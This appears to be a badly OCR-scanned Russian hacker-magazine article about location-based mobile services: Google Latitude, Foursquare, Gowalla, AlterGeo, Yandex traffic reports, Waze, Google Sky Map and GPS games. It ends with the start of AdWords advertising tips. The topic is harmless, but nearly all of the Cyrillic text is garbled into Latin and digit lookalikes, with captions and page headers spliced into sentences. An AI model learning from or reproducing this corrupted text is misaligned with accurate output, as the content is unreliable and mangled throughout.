ra Vl3 Google Mono,o,LJ,bl. B nccnenuux aepcnsx Jloxaropa noaannacs B03MO>KHOCTb BKJH04aTb onoBew,eHVI)=I 0 MeCTopaCnOnO>KeHV1lt1. ApyrV1Mlt1 CnOBaMJ!I, xorna s cne,o,ylOUJ,V1w pas KTO-TO Vl3 ,o,pY3ew 6Y)J,eT no6m130CTl'l, TO Tbl nonYYI!1Wb SMS! 3TO 6y,o,e~ nOKpY4e, 4eM recrer B Twittere - cneLJ,lt1anbHa>=l OnLJ,V1s:!, noaaons ou.aa cHa6,o,V1Tb Ka>K,o,blW Tal'lT Koop)J,VlHaTaMVI l:lflVl OnV1CaHJ!I)=IMVl MeCTa, oTKy)J,a OH 6bln ompaaneH. Cl'lCTeMa onoaew,eHt.1W Iloxarope wHTenfleKTyanbHa. OHa He 6y,o,eT cnars SMS-Kl!1 Ka>K,LJ,bIW pas. KOr.D,a T80Vi konnera r pnxoAI!1T Ha pabory. OnoBew,eHV1s:! npwcunaiorcs ronsko B cnyya>=lx'

• «orna Tbl IIIflV1 TBOlli npyr Haxo,o,VlTecb S -renpaBbl4HOM MeCTe; ecnn npyr Haxo,o,l!1Tcs:! B npuBblYHOM MeCTe (Hanp!l1Mep, gOMa I!1Jll'l Ha paborel: onOBeUJ,eHlt1s:! He npV1CblflaIOTCs:! .

• Tbl I!1nVl TBolli npyr Haxo,o,l:1TeCb a yaCTO nccew,aeMoM MeCTe, HO B Heo6bl4Hoe BpeMSi.

C60p gaHHblx V1 aHanlll3 npt.1BblYHbiX ,o,ns:! Te6Si MeCT npe6bIBaHt.1s:1 1v10ryT 3aHs:!Tb oxono He,o,enV1, nocne -iero HaYHeTCs:! ornpasxa onoBew,eHlt1~. npaB,o,a, Afls:! 3TOro uano He 3a6blTb BKnlOYI!1Tb B HaCTp00lKax OnLJ,lII1O «Ii1CTOPIII)=l MeCTopacnoJlO>KeHV1l1i», HO uano I!1MeTb B BIII,o,y, 4TO C 3TOro MOMeHTa ace TBOV1 nepeMew,eHI!1s:! norl'lpYIOTCSi

- V1X MO>KHO OyeHb y.o,06HO npOCMOTpeTb, 3anpoCI!1B V1HepopMaLJ,V11O sa JHo60e BpeMs:!. Bnobanox

y 3TOro t.1HTepecHoro cepeuca eCTb 1!1 ,o,pyrl!1e nonesus.e OnLJ,V1I!1. Hanpl!1~lep. aBTOMaTW-leCKOe 06HOBneHVle craryca B Gtalk I!1nVl COCTasneHV1e BV1,o,>KeTa ,o,nSi cat;1Ta/6nora C YI<a3aHVleM rexyuiero MecTopaCnOnO>KeHV1S1.

JlOKATOP 2.0

Bnp04eM, C KaKOt;1 CTOPOHbl He nOCMOTpl'l, Google /loxarop - S LJ,enOM 04eHb npocroa cepeuc,

XAKEP 06 /137/ 10

KOTOPbllli B nepsyio o-iepens orofipaxaer Ha <ap.e Te6s=1 V1 TBOIIIX coce,D,eVi. npV1 3TOM HV1KaK He KOHKpeTI!13I11pyeTCs:!, 8 KaKOM VlMeHHO MeCTe Tbl Haxo,o,V1WbCSi: - a ceaHce B KIIIHOTeaTpe. 06e)J,aeWb B Ka.~e I!1nV1 npOCTO npuuren Ha yye6y. HOBbllli rpe+u; Ha sanane. Ha6I11palOw,lt1t;1 owenoMnSiIOw,t.1e 060pOTbi - cepBVlCbl Gowalla [gowalla.coml " Foucsquare [foursquare.

corn), kotopue npoxa-ranu Vl,o,elO Jlo caropa, .o,o6asVlS 8 Hee 3neMeHT COLJ,l!1anbHOVi ceTVI. 3TO ,o,Ba aHanOrV1YHbiX I!1 >KeCTKO KOHKypt.1PYIOw.I!1X Me>K,o,y c060Vi cepanca. n03Bons:!IOw,t.1X ,o,enl!1TbC)=I VlHeVopMaLJ,VleVi 0 caoen MeCTopaCnOnO>KeHlt1111

V1 MeCTax, koropue noceuiae.us nOMVlMO 3TOro Tbl BIIIAVlWb. KTO ew,e 6blBan 8 3Tl!1X MeCTax, t.1 KaKVle COBeTbl OH TaM ocraer sn. nonyYaeTCI=! KnaCCHbilli CnpaBOYH!I1K no pa3nl!1YHbiM MeCTaM

VI 3ase,o,eHI!1s:!M C aBTOMaTt.1YeCKI!1M nOI!1CKOM I!1 npl!18)=13KOVi no MeCTopaCnOnO>KeHIllIO. AOCTan TeneepOH - V1 cpasy SV1,LJ,I!1Wb, 4TO ecrs B okpy-

re. YV1TaeWb OT3blBbi - peu.aeun., Ky,o,a CTOVIT nm1Tt.1. 3awen sayrps. nOCTaSVln COOTseTcTSYIOw,I!1W CTaryc - MO>KeWb >KgaTb .o,py3eVi. 3TO Ha3blBaeTC" check in :1

Cepsucu 6YPHO pa3BV1BaIOTCS1 VI ,LJ,06aBlls:!IOT HOBbie epWH1. Ecnl!1 Tbl >KI!1BeWb B KpynHoM

10 poz;e , TO nonpoooaan, O,o,V1H [;13 H[;1X Hy>KHO B 06SDaTellbHOM nops.ace. Ilaxe S POCCt.1l!1 Ha6panacs .o,OSOflbHO 60nbwas:l 6a3a ncnsaoeateneii. koropue C y.o,OBOllbCTBlt1eM ,D,ens:!TCSi II1HepopMaLJ,l!1- elil. AOCTaTOlJHO 3aseCTl'l aKKaYHT. HaVlTl!1 .o,pY3elli, IIIMnOpTl!1pOBaS KOHTaKTbl V13 Crr-aila. Twitter's V1 APyrV1x CepBI!1COB, VI YCTaHOBVlTb M06[;1flbHOe npnnO>KeHVle Ha CBO~I reneoou. B npL1HLJ,Vlne, aaxe Heo6s:!3aTeJlbHO, YTo6bl Mo6V1na nonnepxneana GPS - MeCTopaCnOllO>KeHVle. onl=!Tb >Ke. 04eHb 3.o,OPOBO onpe,o,ens=leTCs:! no Bt.1,o,t.1MbIM B oxpyre COTOBblM BbIWKaM. B fl1060w MOMeHT nporpa-rua orofipaxaer 3aE'l'lTbie B ee 6a3y MeCTa 111 OT3blBbi no HV1M. ECflV1 Tbl r puuien B KaKOe-TO MeCTO, a HY>KHOrO 06beKTa B base cepBVlca HeT, CMeno C03Aasalli ceca. AKTt.18HOCTb nonsaoaarenen BCs:IlJeCKJ!I nonnepxnseercs. Foursquare npcaonsr MapKeTVlHro8ble a KLI,I!1 1!1: ecnu nepsbilli npnneurs B pecrcpa-i. TO nony-raeun, 50% CKY1,lJ,Ky Ha 06e,o, t.1 T.n. K TOMY »ce, co BpeMeHeM Tbl Ha6V1paewb peViTlttHr. 4TO n03BOJls:!eT Te6e BV1,o,eTb 60JlbWe It1HepOpMaLJ,VlI!1, yeM see ocransuue. nplt1110>KeHV1e celilyac

Jloxarop 3anYLlIeH Ha 6YKe, a MeCTopaCnOnO>KeHl1e onpeneneuo no Wi-Fi

CYll1eCTByeT An" nnaT¢opM iPhone, Android, Blackberry n APYC"X AeBaiicoB YBbl, Windows Mobile V1 Syrnbian B Cnl!1CKe Her. 3aTo KJll!1eHTbl AnSi 3TVlX nnareopv ecrs y POCCI!1ViCKOro anbTepHaTI!1BHoro npoeKTa - AlterGeo [altergeo.rul. Vicno,lb3Y" co6CTBeHHYlO c"6p"AHYIO rexacnortuo n03"~"OH"pOBaH"" [WiF,+GSM+WiMax+1 PI. CepBI:1C onpenenur MeCTOnOnO>KeHl:1e V1 noncxa>KeT 3ase.o,eHI!1S=t no6nV130cTV1, Y3HaeT, KaK AaneKo OT Te6s:! TBOIl1 APY3bs:! VI Kal<l:1e nlO,o,VI uaxonsrrcs ps:!,o,OM. npVllJeM, nocxonsxy B AlterGeo scrpoeuu «apru Google, liHgeKcl(apTbI" OpenStreetMaps, paocrars c npVlnO>KeHVleM MO>KHO B nlO6olli TOYKe MV1pa.

HH,IlEKC.np06KI1

ECJll'l pacnOnO>KeHVle KOHTaKTa nOCTOs:lHHO 06HOBns:!eTCs:!, a OH KaK 6blfl nocpenu nopor a, TaK TaM ~1 OCTaeTC5=I, eMY MO>KHO TOflbKO nOCOYYBCTsosaTb np""Tenb BCTPR~ B np06KY. CYl11eCTBYIOT pa3~"YHble cnocobu An$=! OTCfle>Kl'lBaHV1s:1 cV1TyaLl,V1V1 Ha nopore. CBO,o,KI!1 pa3nY14HblX OnepaTI!IBHblX cnY>K6. KaMepbl VI nerexrops: C aSTOMaTV1lJeCKl'lM auant.130M KapTI!1HKI!1. co06w,eHVlSi OT 3Hry3waCToB 1!1, KOHeYHO >Ke, COepT, Vlcnonb3YIOw,I!1W LBS-cepBVlcbl KOMaH,o,e )=iH,lJ,eKCa 3a MHorVle aeuin MO>KHO Bblpa)f<aTb pecneKT, HO nl!1YHO OT MeHSi - 60nb-

nlO6as:! V13 6a30Bbix CTaHLJ,lt1l1i I!1MeeT HeKoTopblW Ha60p napauerpca. xoropue nony-tae r reneocu, bnarcneps yeMY Ka>K,o,ylO 6C MO>KHO pacnosr-ar s. O,LJ,V1H V13 TaKV1X napauerpoa - CelliD [coxpauieuue CI01 - YHI!1KanbHbl[;1 HOMe~,o,n$=l Ka>KAolli COTbl, Bbl,lJ,aHHblW onepaTopoM. Cyw,eCTBYIOT 6a3bl, B KOTOPl:ilX AnSi Ka>K,o,oro CID YKa3<3Hbl ero Koop.o,I!1HaTbl. YeM fionsu.e Tbl 3HaeWb 0 6a30Bbix CTaHLJ,VlSiX ecr.pyr. TeM ficne e T04HO MO>KHO npOBeCTI!1 pac-re r rexyu.ero MecTopaCnOnO>KeHVlSi_ TOYHOCTb aapsupyerca OT HeCKOJlbKV1X .cOTeH MeTpOB,1],O HeCI<onbKVlX KV1noMeTpoB, HO 3TO ue-rnoxaa cmpaeuaa TOlJKa, YT06bl paaofipan.ca C KOOpAt.1HaTaMl!1

Tu uaaepr.ska o6paTV111 BHV1MaHV1e. Lno M06l!1flbHbie V1HCTpYMeHTbl TOlD >Ke Google MOryT OyeHb nV1XO or penens r s MecTopaCnOnO>KeHl!1e YenOSEKa. 3HaLJIi1T, .o,aHHble y Hero ecr s. Ho orxyr;a? l;1CTOYHt.1I(OB MHOro, HO V1 Mbl B 3TOM novoraeu, Mana KTO -urrae r cornauie+u-e 06 lIIG:nonb308afiVlV1, HO Ha caMOM )J,ene, YCTaHaBnI!1Bas:! nporpaMMy, Mbl cornal1JaeMCs:! ornpasns:!Tb V1_HcpopMaLJ,It1IO a no,o,Knl0YeHHOlli CelliD V1 TeKYw,Vlx KOop,o,l'lHa1ax (ecnVl BKlllOlJeH GPS] nOAPo6Hee 0 TOM, KaK obpaiuar sca K 3TOVt 6a3e, YV1TaVi B HaweVi crarse «HaBVlraLJ,V1s:! 6e3 GPS" [PDF-Bepc"" 6YAeT Ha A"cKei.

~ 021

HarpaAbl cTIIIMymlpYIOT aKTIIIBHOCTbnOnb30BaTeneH Foursquare

IiIHTepcPeHC Foursqure

woe cnacvfio 38 ~HAeKC.npo6KVI. Pasoaborae Mo6V1JlbHOe np.inoxe-n-e >lHAeKC.npo6KM Ihttp://mobile.yandex.ru/mapsl.pe6"Ta ny6n"YHO Cilenan" ,fl,OcrynHblM TO, -rero BO MHorViX crpaua» He cyw,eCTsyeT ga>Ke y oneparueHblX CJly>t<6. Y nOJlb30S8Tem:1 Ha rene¢oHe n051BVlJlvlCb He TOJlbKQ KapT8 VI B03MO>KHOCTb npOnO>KV1Tb Mapwpyr. HO VI nOCT051HHO 06HOBJl51eMa51 It1H¢OpMau,V151 9 cltlTyau,VlV1 H8 ,LJ,oporax, npW85133HH8S1 K 3TOV! «apre. Eonee roro,

DH caM yvac'rayer B coops AaHHblX 0 ABII1>KeHVlV1 Ha noporax. npV1JlO>KeHlI1e neplt10,lJ,V14eCKV1 nepenaer Ha cepaep rekyume KoopAVlHaTbl V1 CKOpOCTb.

ECJlIl1 HeCKOllbKO LJenOSeK ,IJ,SVI>KyrC51 B DAHOM uanpaaneun-i no DAHOVt VI

TOV! >Ke yrurue co CKOPOCTblO 40 KM/4, 3HaYVlT, ynV1u,8 CBo6o,LJ,H8, V1 ee MD>KHD nOMennb 3eneHbiM LJ,SeTDM. Ecnl-1 »ce, uaobopor, 8 KaKOM-TO MeCTe see

ene nOJ13yr, TO yyaCTHl-1KaM paCCblnaeTCS1 06HosneHHaS1 V1HcpopMaLJ,ViS1 C «KpaCHbIMl-1») Y4aCTKaMVi aopora. Te >Ke caMble .IJ,aHHble oT06pa>KalOTOi l-1

ua OHna~H-CepBl-1Ce >1HAeKc.KapTbl. Ha 3TOM B03MO>KHOCTl-1 KOMbIOHl-1Tl-1 He 3aKaH4V1BaIOTCS1. BVi,.o.ViWb asapVlIO VinVl .IJ,OpO>KHble paooru? KaK >Ke OHVI 3aKone6anVl! OAViH KJlViK MblWVi - Vi IIlHcpopMaLJ,Vis:1 yuma H3 cepBep, orxyna perpaacnupyerca I1n" scex. MO>KHO ncnro pvrars 51Hl1eKc.npo6K" sa TO, 4TO OHl-1 epyr VI 6epyr gaHHble C noronka. HO TaKO~ nonxon Ae~CTBVlTenbHO pafioraer Vl noasonaer BHeCTVi XOTb KaKYfO-TO TOll Vi KY KOHTPOJl)i 3a cwryau»e~. 3ayeM exaTb no yll Vi LJ,e, r,.o.e ga>Ke no 3TOMY cepsucy - HenpoxoAVlMaS1 npobxa? K TOMY >Ke, ,D,aHHble 51H,D,eKCa II1cnOllb3YIOTCS1 III npo,paMMaMVl HaBVllaLJ,V1V1, «oronue YMelOT BbIYVlCJls:1Tb Mapwpyr, Y4l-1TbIBaS1 Cl-1TYaLJ,\.t11O Hd nopore. Mo6l-111bHble >1HgeKc.KapTbl nogp,ep>KVlBafOT nllaHvopMbl Windows Mobile, Symbian, Java, Android" Blackberry" n03BomlOT nOCMOTpeTb «apru bonee 130 roponos POCCVlV1, YKpa\l1Hbl \11 npyrvtx CTpaH. CDYHKLJ,VlS1 npobok AOCTYn~3 TOllbKO p,lls:1 HeCKOJlbKVlX rOpO,D,OB, HO 3TO, B03MO>KHO, K ny-uuevy - 3HaYVlT, rAe-TO ew,e MO>KHO CBo6o,D,HO nepe,D,SV1raTbcS1 no ropogy. MocKBVl4aM, KaK oc060 nOCTpa,D,aSWl-1M, paCCKa>KY OAII1H XIIlHT: YTo6bl

He rpanrrs nVlWHV1~ GPRS-TpacpVlK, ny-uue CKa4aTb KapTY MOCKBbl c caViTa 51HAeKca V1 coxpau.irs ee B TellecpOHe

WAZE

nOH5HHO, YTO 4eM 6011bwe nom.aceareneii ornpasnsuor l-1HcpopMaLJ,l-11O

o CBOVlX nepeASVl>KeHVlS1X, TeM TOYHee 6ygeT VlHcpopMaLJ,Vls:1 0 np06K3X.

Ho KOr,D.a ncru.sosareneu OyeHb MHOro, MO>KHO nO~TI-1 Ha 6011bwee - C I-1X novouu-o cosnasare ca-ry «apry npoeKT OpenStreetMap [www. openstreetmap.orgl nOS1BVlllCs:1 )J,aBHO Vi n03BOllS1eT BceM >KellalOw,VlM C03-

~ 022

o .Q ~~ ~

Show me Search uve mfo Report

Cocraeneaae IIIHcPOpMaLllII1II 0 AOPO>KHOH clilTyaLllII1II B peanbHOM BpeMeHIII

KapTbl B Waze C03AaIOTC5I caMIIIMIil ncnssoaaremlMIil BO BpeM5I e3Abi

A3BaTb Vl BHOClIlTb Vl3MeHeHlIls:i B KapTbl Ha OCHOBe wiki-clIlcTeMbl, B TOM '-lVicne C nOMOUJ,blO 3a,pY3KVI CBOi:1X GPS-TpeKOB lncros nepegBVI>KeHlIls:i, 3anltlCaHHbiX GPS-COcpTOMI. Ce~yac cepauc MO>KeT nOXBaCTaTbCS1 OyeHb HenllOXI-1M nOKpbITVleM, K TOMY >Ke lIlMeHHO ero lIlCnOJlb30BaJllll SO SpeM$1 cnacarensuux pa60T Ha ialllTlt1. C ero nOMoUJ,bfO acero aa napy AHe~ CYMenV1 C03)J,aTb nonpobuue xapru 06JlaCTe~ OCTpOBa, nocrpaaaeurax

s peavns-are 3eMlleTp51CeHVls:l. [lpoe« t Waze [www.waze.coml H3MHOro

tior ee MOJlOp,O~, a nOTOMY VlCr'OJlb3YfOW,lIlVi 60nee COBpeMeHHble nonxonu npcexr. no CyTVl, 3TO nporpa-naa AJlS1 HaBlIlraLJ,lIllll C oT06pa>KeHVleM AOPO>KHOVI curya LJ,lIl VI , HO C 60nbWVlM OTllVlYVleM OT acex OCTallbHbIX: l<apTbl ,fl,JlS1 Hee COCTaBlls:lfOT caMlIl noru.soaarer a - TaK Ha3blsaeMbie seVl3epbl. Bo BpeMs:! ABI-1>KeHVlS1 Waze 3anVlCblBaeT rpe« l-1 nepViO,lJ.Vl4eCKItl orcunaer era Ha cepsep. ECJlVl no 3TOVI ,Ll,opore npoerier ew,e XOTb OAVlH nonsaosarens. TO ncpcra C'-lViTaeTC$1 nO,D,TSep>K,D,eHHoi:1 Vi noasnsercs Ha kapre. 3a npoKJla.IJ,Ky nopor seVi3epy HaYVlCJlS1fOTC)"1 OYKV1. HaV1MeHosaHlIlS1 ynVlLJ,aM TaK>Ke AalOT nonsaosarenn: 3a 3TO MO>KHO nOJlYYVlTb ,D,OnOllHItlTellbHble nOI-1HTbl [3,Ll,eCb ClIlCTeMa YeM-TO nOXO>Ka Ha OpenStreetMapl. KaK VI B >1H,QeKC. Kaprax, Bop,lIlTem1 MOryr nocunar s ua cepsep VlHcpopMaLJ,VlfO 0 npobxax, ATn, CTaWMOHapHblx KaMepaX-pallapax M nonMweCicK"X sacaaax. np"YeM AllS1 Ka>K,Qom C06bITi:1s:1 MO>KHO OCTaBVlTb KOMMeHTaplIIVi nr a. uanpuvep,

or poaepruyrs coo6w,eHIIlS1 - ace 3TO ,D.ellaeTCs:1 vepea YA06Hbli:1 KnVl-

eHT.51 ucnoru.scean sepcmo Ans:i Android, HO ects TaK>Ke peallVl3aLJ,V111l

AllS1 iPhone, Windows Mobile ';1 Symbian. l1TO KacaeTCS1 nOKpbITl-1s:i «apr,

TO VlMeHHO .IJ,llS1 POCG1l1l OHO gOBOJlbHO CKYAHO. npW .. 1VIHa OyeBVlAHa - ManeHbKoe KOMblOHI-1TItl, HO l-1MeHHO Mbl C To6oVi MO>KeM ero YBellVl4ViTb. ECllV1 npS1Mo ceronus HayaTb OTPl-1COSbISaTb kapru BMeCTe, ocofieuuo s rex MeCTax, rne HVl oriua OHllaillH-KapTa ew,e ueriocryn-ra. TO nokpsrrue MO>KHO ,o.OSOflbHO 6blCTPO YBeJlVlLiillTb B pasu

M061111bHbIH nllAHETAPI1H

BnpOyeM, LiTO 3TO Mbl ace 0 noporax: na 0 noporax. Aasaw norosopuv o saesnaxl nOMVlMO GPS-MO.IJ,YllS1 MHorllle npOVl3S0,lJ,l/lTem-1 acrpaaaaicr s TenecpOH ew,e VI aKcellepOMeTp [3TO He TaKOVi Aoporoill MOAYllbl. KOTO-

YCTaHOBKa CBe>KIIIX BepCIIIH security-nporpaMM B OAIIIH KnlllK

XAKEP 06 /137/ 10

• ,D,n~ roro 4T05bl nOCMOTpeTb aann-

C" C FourSquare, Heo5xo)],IIIMO aaperucrp"pOBaTbco. Ecn" raxoro >KenaHIII~ YTe55i HeT, a nocMoTpeTb, 4eM >KIIIBYT noneaoeareru-, XOyeTC5i, MO>KHO socnonsaoearsca cepaucov ro_urwhe_re....: corn. 3TO «aprs C HaHeceHHblMIll KOMMeHTapVI~MII1103epOB FourSquare .

• KOMnaHII15i Yahoo paccuarpnsaer B03MO>KHOCTb nplll- 06peTeH"R 6blCTPO Ha6"palOll1erO nonyJl5iPHOCTb craprana Foursquare sa CyMMy OKano $1 00 MnH

.links

nepe,l1aya pacnono>KeHIII5i yp,06Ha, ecnn Tene¢oH YKpa,l1eH. OHnawH-cepBlllcbl n03Boml1OT crcne,D,VlTb ero III yp,aJleHHO crepers C Hero see ,D,aHHble. B03bMVl Ha 3aMeTKY: itag.com, wavesecure.com.

~ 024

Mo611JlbHblH nJlaHeTapl1H OT COTPYAHI1KOB Google

Pbli.1 Vlcnonb3yeTC)=! ,D,n)=! pacnoa-raea-urs nasnuradrr-roro VI noprperuoro pacnOnO>KeHII1S1 TenecpOHa VI ew,e MVlnnVlOHa sew,ei.1, Ha xoropse XBaTaeT cpaHTa3V1W pa3pa60T4WKOB.

Op,HVI 80CC03)],aIOT VlrpywKVI apone Jla6111p1'lHTa, rne Hy>KHO nposecra wapwK)],o cpVlHVlwa, He aacaaua ero B nosYWKHoTSepCTIII5i. A npyrne ncnoneavor axcenepowerp B CS5i3Ke C GPS-MO,ll,YJleM, nOJlY4aR y50i.1HYIO CMeCb paauux TexHonorVli.1 VlMeHHo TaK W nocrynuna KOMaH,IJ,a 3Hry3~lacT08 1113 Google, paapaboreeurax JlpVlJIU>KeHVle Sky Map for Android [www. google.com/skY/skymapi. nonyY"nCR M06"nbHbli1 nnaueTapll1i.1. Vlp,e5i nporpavvu pO,D,I'1JlaCb B YMax pa3pa6oT4wKOB euie no o¢"w"anbHOro nOOBneH"O nnaT¢opMbl Android. BooAywesneHHble TeMI'1 B03MO>KHOCTS1MVI, <oropue 6yp,yT

B HOBblX TenecpoHax, BKJlI04a~ GPS, U,IIICPPOBOi.1 KOMnac VI ceHcopbl ,lJ,BVI>KeHt.1$1, OHt.1 nop,YManVl, 4TO xpyro 6blno 6bl II1cnOJlb30BaTb 3TII1 CPW-IVI B Mo6V1JlbHOM npV1JlO>KeHJ;H1, KOTO-

poe noxaauaaer KapTVlHKy uefia B 3aBt.1CIIIMOCTIll OT roro, rne HaXO,D,IIITC$1 4enOBeK III Kyp,a OH HanpaBIIIJl TeJlecpoH. GPS VI 4aCbl n03BOJl$1nVl rexepnpcsars <apry p,Jl~ TOYHOrO BpeMeHII1 III pacnOJlO>KeHVI$1 nOJlb30BaTeJl~, a HaCTO~l1\J;1X Yy)],ec n03Bon)=!JlIII p,06I11TbC~ U,VlCPPOBOi.1 KOMnac 111 axcenepoverper. VlCnOJlb3YS1 3TIII nsa ceucopa. npwioxeune MO>KeT cnpaaenars TOYHOe HanpaBneHllle, Kyp,a aanpaaneu reneooa, III B 3aBIt1CIIIMOCTill

OT sroro orotipaxan, Ha sxpaae ronsxo 're 3Be3,D,bl, <oropsre nonanaior B era B"pryanbHblii ¢OKyC 3peH"R. B pesynsrare. ecnv Tbl xo-reurs Y3HaTb, 4TO 3TO sa aaesna TaK ~PKO CBeTIliT Ha Bocroxe, TO Hy>KHO npOCTO HaBeCTVI ryp,a TenecpOH J.1 YBVlp,eTb Ha «apre, YTO 3TO BeHepa! KaK refie? ~ nposepsn nVlYHO, Bble3>Ka$1 Hd MeCTO, rp,e HeT BblCOKItlX 3,ll,aHVlt:t VI sapeaa ropona - Sky Map peanbHo pa60TaeTI Pa60TaR B nO"CKOBOM rura-rre, pe6sna He MOrJlIII 060t:tTVI CPYHKU,VlIO noucxa. npWyeM s oco- 6eHHO 3¢¢eKTHo'i MaHepe. Tbl npOCTO Ha6"paeWb Ha3SaH"e nnaueru IIInlll 3Be3p,bl [lI1nlll Bbl6111paewb KapTVlHKy B ranepee ¢OTOrpa¢"i1 C renecxona Xa66nl. H renecou caM noxasuaaer.

TaKl1e npo6KI1 B MocKBe- peAKocTb, Aa>Ke no nOKa3aHI1HM 51HAeKC.npo6oK :1

Ky,ll,a ero Hy>KHO HaBeCTVI, YTo6bl YBJ.1p,eTb 06beKT. LJeM 6nVl>Ke Tbl K uen«, TeM KpaCHee craHoBVlTC)=! xypcop C HanpaBneHVleM W OKPY>KHOCTblO B ue-rrpe. B KOHu,e KOHU,OB, 06beKT OKa3b1BaeTC)=! B HeM, VI syans! BOT OH, Vlp,eanbHblt:t Y4e5HVlK aCTpoHOMV1V1. >Kanb TOJlbKO, 4TO npVlnO>KeHVle cyutecreyer TOJlbKO p,JlR nnaT¢opMbl Android [1.5 " auuie]. np"YeM B ,I1eBaiice AnR pabors: 06~3aTenbHo ,lJ,OJl>KHbl 6blTb akceneporaerp sr.

~rPbl C GPS

AKCeJlepOMe I Pb! IWHa,lJ,06~TC5'l VI s coaepureuuo HOBOM

Blllp,e IIIrp, xoropue ucnonsayror npuesaxy K peaJlbHOMY pacnonoxe-uuo rei.1Mepa. O,lJ,Ha V13 TaKIliX IIIrp - 3rdEye Vlp,eR 3aKnlOyaeTCR B nepeHoce RPG CTlllnR B peaJlbHbJi.1 MVlp: ryr TaK>Ke ecrs nepco+ax, HO nepeueuiaercs OH He no BVlpTyanbHOMY MVlPY, a no peansuovy, CIO>KeT S IIIrpe noxa npocT: rexyuiee lv1eCTonOnO>KeHVle crobpaxaercs Ha <apre (VlcnOJlb3yeTC$1 ronsxo GPS, TaK KaK Ba>KHa T04HOCTb p,aHHblXl, soxpyr 6eralOT pa3nVl4Hbie cyuiecraa. KOTOPblX Hy>KHO VlCTpe6JlRTb. VlCTpe6mnb npnnercs anorn-e uarypansuo: nepxa s pyxe renerpo-r. Heo6xo,D,VlMO peans--o 0603HayaTb ynapu. 3TO refie He MbIWKOi.1 KniliKaTb. HapBeWbC$1 Ha

ronny MOHCTPOB - npunercs peansuo nonuxrere :I. ,D,n$1 CYIIITbISaHIt1$1 Teno,.o,BIII>KeHVI~ ucnom.ayerca axcenepor-rerp. nOM"MO aroro MO)l(HO C6"SaTb aparcs lnpoury 06paT"Tb BHII1MaHlt1e - BlllpryaJlbHblX sparoal Ha MaWI/IHe, HO onblTa aa 3TO )],aeTCR OyeHb MaJlO. MeHee nporpeccna-ras. HO

TaK>Ke ucnonsayouraa GPS-npV1eMHV1K V1rpa - leOK3WV1Hr OHa CYLl.\eCTByeT B pasaux VlcnOJlHeHJ.1s:1X, HO CMblCJl 80 acex sapua-rrax op,IIIHaKOBblt:t: HaVlTJ.1 no GPS-KOOp,lJ,V1HaTaM III nop,CKa3KaM Hy>KHOe MeCTO III cnpsnaHHbli.1 TaM Tat:tHVlK. B ka-recree JlOKau,Vli.1 BbI6V1paIOTC$1 pa3nV1YHble, s TOM 4V1cne onaCHble, MeCTa, HanpJ.1Mep, 3a6poweHHbie pakeruse uraxtsr V1 ueriste BoeHHble YaCTIli. ECJlVl Te6e VlHTepeCHo, nobpo noxaJlOSaTb Ha www.geocaching.com VI POCCIllt:tCKVlt:t npoexr www. geocachlng.su. :lC

XAKEP 06/137/10

AdWords: 10 COBETOB

MOnO,ll,Ubl re, KTO Y>Ke ycnen Bocnonb30BaTbCH ApKHM BKna,ll,blWeM OT Google B HaweM >KypHane. Bce-TaKH

1000 py6neH, KOTopble peansan MO>KHO nOTpaTHTb na peKnaMHYIO KaMnaHHIO nlO60ro caara. npncre TaK Ha nepere He BanHIOTCH. XOTH 3TO He rnaanoe. I{or,ll,a 6bl Tbl ellle Mor nonpenoaars np0,ll,BHHYTbIH HHCTpYMeHT ,lI,nH pa3MellleHHH KOHTeKCTHOH peKnaMbl B ,lI,eHCTBHH? A TYT ace B03MO>KHOCTH AdWords K TBOHM ycnyraM: np06YH - He X04y. Ho, 4T06bl npe,ll,OCTepelfb Te6H OT B03MO>KHbIX oWH60K, Mbl nO,ll,rOTOBHnH HeCKonbKO COBeTOB, KOTopble

n03BonHT pa60TaTb C CHCTeMOH HaH60nee 31jJIjJeKTHBHO.

O 1 ~n51 ycnewHow peKJ13MHOi:1 KaMnaHVlIII Heo6xOAVlMO I!1MeTb '{erkoe nOHI!1M3-

Hille CBOlllX u,EneC1 VI norpefiaocreii ~eneBO" aYAWTOp"", «orops.e 6YAYT orpaxarsca B peKflaMHblX 06bs:1SJleHl-151X. He Hy>KHO CTpeMltITbGl 8(TaBVlTb Bee peKJl3MVlpyeMbie ycnyrlt1/ roeapu/ceosncu B D,D,HO 06M18- neHwe KYAa 3cjlcjleKT"BHee 6YAeT cnenars HeCKOIlbKO pa3JH1YHbIX. HanpltlMep, eCIll:1 CTOWT 3a,qaya no peKIlaMe aarocepuaca - TO ycnyrl!1 Bble3,D,HOrO WVlHOMOHT3>K3, peMOHT3 aBTOCTeKon ~ npOAa!KW 6/y AKnn Heo6xoAwMO OcjlOPMWTb B 3 pasn~4HblX peKnaMbl, y KOTOPblX 6YAYT cosepweHHO pa3Hbie aYAI!1TOpWlt1. u,eIlVl V1 KmoyeBble (no sa.

Ba>KHO, YTo6bl caMa CTpyKTypa pe«naMHOV! KaMnaHl!1l!l orpaxana CTPYKrypy peKnaMVlpyeMoro caVila !I1JlW pa3JllllYHbie HanpaBJleHV151 6W3Heca.

O 2nOMHV1 0 B03MO>KHOCTVI VlCnOJlb30aaHiI1rl reorpacpil1yecKOro VI apeMeHHoro TapieTiIlHia. K npil1Mepy, eCJlil1 Tbl rtpcnaeurs ,ll,eWesbli1 TOBap S TYJle, TO VlM HVlKOi,ll,a He 3aVlHTepecyeTcS1 norynaren» V13 BJla,ll,V1BOCTOKa. nOMV1tvIO peKJlaMbl na CTpaHV1L1,aX nOV1CKa Google, yepe3 AdWords

Tbl MO>KeWb pa3MeUJ,aTb peknauy

V1 ua napTHepCKV1X catrrax. npWleM eCTb B03MO>KHOCTb caMOCTOmeJlbHO suopan, Hail160Jlee VlHTepeCHbie nJlOLU,a,lJ,KiI1.

O 3 n03lttLl,Vls:! rsoero 06bs:!BJleHV1rl 3aBVlClt1T OT CTaSKVl, KOTOpyfO Tbl roTOS sannaHnb Vl noxaaarenn KayeCTSa [quality

scorei. KOTOPbl" oopuupyercs Ha OCHOBe HeCKOJlbKiI1X napaverpos. CTR o6MIBneHV1rl, KaqeCTBa Ll,2JleBOi1 CTpaHVllJ,bl, V1CTOP\l1\11 aKKaYHTa

~ TA Ecn" B 6noKe 3 n03W~WI1,

a 06b"SneHW" AeC"Tb, TO 6YAYT nOKa3aHbi rpoe caMblX JlYYWVlX. COOTBeTCTBeHHO, rsoe 06bs:!BIleHV1e 6y,n,eT nOKa3blsaTbCs:! naneko He scerna. KOHTPOJlll1pOBaTb BV1,lJ,J.1- MOCTb csoeu peKJlaMbl MO>KHO C nOMOLU,blO «VlHCTPYMeHTa ,lJ,VlaiHOCTVlKVl 06brlBJleHVli1»

